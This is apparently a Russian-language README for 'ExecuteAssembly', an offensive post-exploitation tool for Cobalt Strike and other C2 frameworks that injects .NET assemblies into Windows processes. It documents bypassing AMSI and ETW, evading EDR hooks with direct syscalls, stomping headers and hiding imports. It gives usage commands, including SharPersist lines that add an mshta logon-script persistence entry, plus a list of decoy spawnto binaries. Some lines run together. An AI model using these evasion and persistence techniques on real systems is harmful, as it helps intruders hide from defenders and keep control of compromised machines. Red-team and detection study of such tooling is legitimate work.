
Загрузка/внедрение .NET-сборок путём; повторного использования загруженного CLR AppDomainManager процесса-хоста (spawnto), затирания PE DOS-заголовков загрузчика/.NET-сборки, отсоединения связанных с .NET модулей, обхода ETW+AMSI, избегания перехватов EDR с помощью статических системных вызовов NT (x64) и скрытия импорта путём динамического разрешения API (по хэшу).
ExecuteAssembly — это альтернатива CS execute-assembly, написанная на C/C++, и может использоваться для загрузки/внедрения .NET-сборок путём: повторного использования загруженных модулей CLR/AppDomainManager процесса-хоста (spawnto), затирания заголовков PE DOS загрузчика/.NET-сборки, отвязки связанных с .NET модулей, обхода ETW+AMSI, избегания перехватов EDR с помощью статических системных вызовов NT (x64) и скрытия импортов путем динамического разрешения API через хеширующий алгоритм superfasthash.
x64(syscalls): эта версия в основном зависит от использования статических системных вызовов для обхода перехватов EDR; вы можете использовать эту версию для сборки только x64-версии DLL (пока только поддержка x64).
x86|x64(PEB): извлекает требуемые адреса API динамически во время выполнения путём обхода таблиц EAP модулей PEB и разрешения API через хеш superfasthash. Однако не учитывает перехваты EDR, установленные на kernel32.dll или ntdll.dll; вы можете использовать эту версию для сборки как x86, так и x64 DLL, или только x86 DLL, а для x64 DLL использовать версию x64(syscalls) для учёта обычных перехватов EDR.
Соберите необходимые DLL с помощью VS2017 и/или Windows SDK 10.0.17134.0 (или совместимых версий SDK).
Убедитесь, что gzip установлен, и следующие артефакты находятся в одной папке, затем просто загрузите скрипт агрессора "ExecuteAssembly.cna":
ExecuteAssembly.cna
ExecuteAssembly-x64.dll
ExecuteAssembly-x86.dll
Параметры CLI:
--dotnetassembly: .NET-сборка для загрузки/внедрения.
--assemblyargs: аргументы .NET-сборки.
--unlink-modules: Отвязать модули, связанные с .NET (такие как CLR/MsCoree DLL), от структур данных PEB.
--stomp-headers: Затереть заголовки .NET-сборки и рефлективной DLL PE DOS.
--etw: Обход трассировки событий Windows (ETW).
--amsi: Обход AMSI.
--spawnto: Выберите процесс spawnto, список .NET-бинарных файлов, загружающих CLR по умолчанию при запуске:
- PresentationHost.exe
- stordiag.exe
Смотрите spawnto-list.txt для дополнительных MS-бинарных файлов, загружающих CLR по умолчанию, которые являются хорошими кандидатами для установки в качестве spawnto. (следует избегать известных LOLBins, если только это не машина разработчика)
ExecuteAssembly --dotnetassembly /tmp/Seatbelt.exe --assemblyargs LogonSessions --unlink-modules --stomp-headers --amsi --etw --spawnto PresentationHost.exeExecuteAssembly --amsi --etw --unlink-modules --stomp-headers --dotnetassembly /tmp/ghostpack/SharPersist.exe --assemblyargs -t reg -c "C:\Windows\SysWow64\mshta.exe C:\Users\admin\Downloads\Test2.hta" -k logonscript -m add --spawnto FileHistory.exeExecuteAssembly --unlink-modules --stomp-headers --dotnetassembly /tmp/ghostpack/SharPersist.exe --assemblyargs -t reg -k "logonscript" -v "C:\Windows\SysWow64\mshta.exe C:\Users\admin\Downloads\Test.hta" -m remove --spawnto FileHistory.exeExecuteAssembly --unlink-modules --amsi --dotnetassembly /tmp/ghostpack/SharpWMI.exe --assemblyargs action=query computername=localhost query="select * from win32_service" --spawnto FileHistory.exeExecuteAssembly --amsi --etw --dotnetassembly /tmp/ghostpack/SharpWMI.exe --assemblyargs action=query query="select * from win32_process" --spawnto PresentationHost.exeБыл создан и протестирован в основном на Cobalt Strike, однако может использоваться и с другими C2-фреймворками (MSF и т.д.), просто имейте в виду, что рефлективная DLL DLLMAIN ожидает однострочную полезную нагрузку в качестве параметра (lpReserved) в следующем формате (без точки с запятой);
AMSI_FLAG|ETW_FLAG|STOMPHEADERS_FLAG|UNLINKMODULES_FLAG|LL_FLAG.LENGTH_FLAG.B64_ENCODED_COMPRESSED_PAYLOAD [SPACE SEPARATED ARGUMENTS]
AMSI_FLAG: 0|1 (либо 0, либо 1)ETW_FLAG: 0|1STOMPHEADERS_FLAG: 0|1UNLINKMODULES_FLAG: 0|1LENGTH_FLAG: размер .NET-сборки в байтахLL_FLAG: длина LENGTH_FLAG (просто потерпите или притворитесь, что не читали этого)B64_ENCODED_COMPRESSED_PAYLOAD: .NET-сборка, сжатая Gzip и закодированная в base64.[SPACE SEPARATED ARGUMENTS]: аргументы .NET-сборки- ScriptRunner.exe- caitstatic.exe- Microsoft.Uev.SyncController.exe- TsWpfWrp.exe- UevAgentPolicyGenerator.exe- UevAppMonitor.exe- FileHistory.exe- UevTemplateBaselineGenerator.exe- UevTemplateConfigItemGenerator.exe